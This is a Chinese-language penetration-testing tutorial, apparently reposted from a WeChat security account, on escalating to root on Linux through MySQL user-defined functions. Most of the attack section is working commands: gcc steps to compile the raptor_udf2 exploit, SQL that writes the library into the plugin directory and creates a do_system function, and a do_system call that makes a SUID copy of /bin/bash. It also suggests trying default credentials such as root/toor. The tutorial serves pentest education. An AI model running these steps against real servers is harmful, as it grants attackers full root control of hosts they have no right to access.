点击上方蓝字“Ots安全”一起玩耍
介绍
MySQL 中的用户定义函数用于通过添加与内置函数相同的外部代码来扩展功能。某些版本的 MySQL 受漏洞影响,这些漏洞可能允许具有数据库 root 访问权限的攻击者在 MySQL 进程的上下文中执行代码,并提升权限。
识别漏洞
首先要检查 MySQL 是否以 root 权限运行,可以使用以下命令完成:
ps aux | grep mysql
接下来,查找正在运行的 MySQL 版本将揭示它是否可能受到提权漏洞的影响:
mysql -V
mysql -u root -p -e 'select @@version;'
该版本的 MySQL 受到一个漏洞的影响,该漏洞允许用户在 MySQL 的上下文中运行用户定义的函数来执行命令,在这种情况下是 root。
最后,需要以 root 用户身份访问 MySQL,这可以通过在服务器上存在的 Web 应用程序使用的数据库连接文件中查找凭据或通过尝试空白或默认凭据(例如 root 和 toor)来获得:
开发
创建可用于利用此漏洞的用户定义函数的代码可以从 Exploit DB 镜像,然后必须将其编译为共享对象文件:
gcc -g -c 1518.c -o raptor_udf2.o -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
然后可以使用 Python Simple HTTP Server 和 Wget 将其传输到目标主机:
在 MySQL 中,可以使用以下命令创建一个包含共享对象路径的新表,复制 /usr/lib/mysql/plugin 下的相同文件并创建一个“do_system”函数,该函数将
use mysql;
create table foo(line blob);
insert into foo values(load_file('<path to UDF file>'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';
create function do_system returns integer soname 'udf_file_name.so';
如果 MySQL 实例中使用的插件目录不是默认目录,则可以使用以下命令从 MySQL 中显示当前插件目录:
show variables like '%plugin%';
然后可以使用“select do_system”语句以 root 身份执行命令:
select do_system('<command>');
可以使用相同的函数创建 /bin/bash 二进制文件的 SUID 副本,当使用 -p 标志执行时,允许以所有者身份执行二进制文件,将授予对主机的 root 访问权限:
select do_system('cp /bin/bash /tmp/stef; chmod +xs /tmp/stef');
如果 MySQL 显示一个错误,指出插件大小接近于零,只需使用 Bash 将静态目标文件复制到 MySQL plugins 文件夹中,然后按照上述步骤执行“创建函数”查询以创建用户定义的函数。
如果前面显示的用户定义函数的代码不起作用,Metasploit 和 SQLMap 还带有可用于利用此漏洞的预编译函数:
这种攻击在 Linux 和 Windows 上都有效,差别很小。
结论
MySQL 中的用户定义函数可以很好地为您的 MySQL 实例添加附加功能并自动执行某些流程,但如果易受攻击,这可能允许攻击者完全破坏您的服务器。
本文始发于微信公众号(Ots安全):【渗透测试】Linux 权限提升——利用用户定义的函数
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论